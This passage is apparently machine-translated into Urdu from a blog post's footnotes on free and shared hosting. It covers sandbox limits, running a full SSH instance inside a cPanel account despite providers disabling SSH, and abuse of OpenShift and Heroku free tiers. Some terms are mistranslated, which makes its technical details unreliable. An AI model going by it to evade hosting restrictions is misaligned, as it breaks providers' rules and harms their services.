[8]میں نے دریافت نہیں کیا کہ کیا ہوتا ہے جب کوئی عمل رن ٹائم پر اضافی فعالیت کو لوڈ کرتا ہے ، کیونکہ دانا عملدرآمد کے میموری لے آؤٹ میں پتے کی تلاش کرے گا ، جو فائل سسٹم تک رسائی حاصل کرے گا اور ممکنہ طور پر حادثے کا سبب بنے گا۔
[9]حدیں صوابدیدی ہیں ، سی پی یو کا وقت ایک سیکنڈ سے کم ہے ، میموری 128M سے کم ہے ، آؤٹ باؤنڈ کنکشن بلاک ہیں۔
[10]تھوڑا سا صبر کے ساتھ آپ اپنے cpanel اکاؤنٹ کی جگہ کے ارد گرد بوٹسٹریپڈ ماحول پر مکمل ssh مثال بھی چلا سکتے ہیں ، بغیر cpanel بلٹ ان SSH تک رسائی حاصل کرنا جو ہوسٹنگ فراہم کرنے والوں کے ذریعے غیر فعال ہو جاتا ہے۔
[11]اوپن شفٹ 1 سال کے مفت درجے سے 3 ماہ سے 1 ماہ تک چلا گیا ، فون کی تصدیق کی ضرورت شروع ہوئی ، میں اس بات کی ضمانت دے سکتا ہوں کہ میں صرف ان کی خدمات کو غلط استعمال کرنے والا نہیں تھا۔
[12]ہیروکو فری ٹیر کنٹینرز وسائل میں کافی فراخ ہیں ، وہ 4c/8t (ورچوئل) سی پی یو ، کافی مقدار میں رام اور بڑا اسٹوریج فراہم کرتے ہیں (جو کہ ڈائنو شٹ ڈاؤن پر مستقل اور ضائع نہیں ہوتا)۔
[13]وہ متعدد پابندیوں کے بعد رجسٹریشن کے سخت قوانین کو شامل کرتے ہیں ، شاید میں نے اس میں حصہ لیا ہو۔

پوسٹ ٹیگز: